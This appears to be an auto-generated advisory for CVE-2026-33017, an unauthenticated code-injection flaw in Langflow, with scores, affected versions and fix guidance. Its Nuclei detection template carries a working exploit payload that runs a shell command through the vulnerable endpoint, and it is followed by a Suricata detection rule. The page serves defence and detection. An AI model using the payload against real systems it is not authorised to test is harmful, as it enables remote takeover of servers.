VULNpocalypse

CVE-2026-33017: Langflow Code Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-03-20).

Weakness: CWE-94: Improper Control of Generation of Code (‘Code Injection’); CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’); CWE-306: Missing Authentication for Critical Function

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-03-25
US federal deadline
2026-04-08
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-06918, EDB-52627, EUVD-2026-13556, GHSA-vwmf-pq79-vjvx

VEDAS cluster: VEDAS:AARDVARKARMY

Exploit Observer links 40 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (40)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (5)

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

News (1)

151 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.962
very likely to be attacked soon
VEDAS
0.986
strong exploit evidence
On CISA KEV
Yes, since 2026-03-25
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-33017 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-33017 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
langflow-ai langflowversion < 1.9.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: langflow langflow, pypi langflow, сообщество_свободного_программного_обеспечения langflow.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Langflow - Code Injection

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, GET /api/v1/build_public_tmp/{{uuid}}/flow, GET /api/v1/version); it decides using dsl, json, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-33017.yaml
Show the template (88 lines)
yaml
id: CVE-2026-33017

info:
  name: Langflow - Code Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the
    POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring
    authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-33017&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33017
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,langflow,rce,ai,passive,kev,vkev
variables:
  uuid: "{{uuid}}"

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "langflow"
        case-insensitive: true

  - method: POST
    path:
      - "{{BaseURL}}/api/v1/build_public_tmp/{{uuid}}/flow"

    body: |
      {
        "data": {
          "nodes": [
            {
              "data": {
                "node": {
                  "template": {
                    "code": {
                      "value": "def function():\n    import os\n    return os.popen('id').read()"
                    }
                  }
                }
              }
            }
          ]
        }
      }
    headers:
      Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'contains(body, "xmsg\":")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/version"

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '< 1.9.0')"
          - "status_code == 200"
        condition: and

    extractors:
      - type: json
        name: version
        json:
          - ".version"
        internal: true

CVE-2026-33017.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-33017 Langflow - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-33017 Langflow - Code Injection"; flow:established,to_server; http.uri; content:"build_public_tmp"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-33017; reference:url,https://www.exploit.observer/?keyword=CVE-2026-33017&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact; sid:1011585; rev:1;)

CVE-2026-33017.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.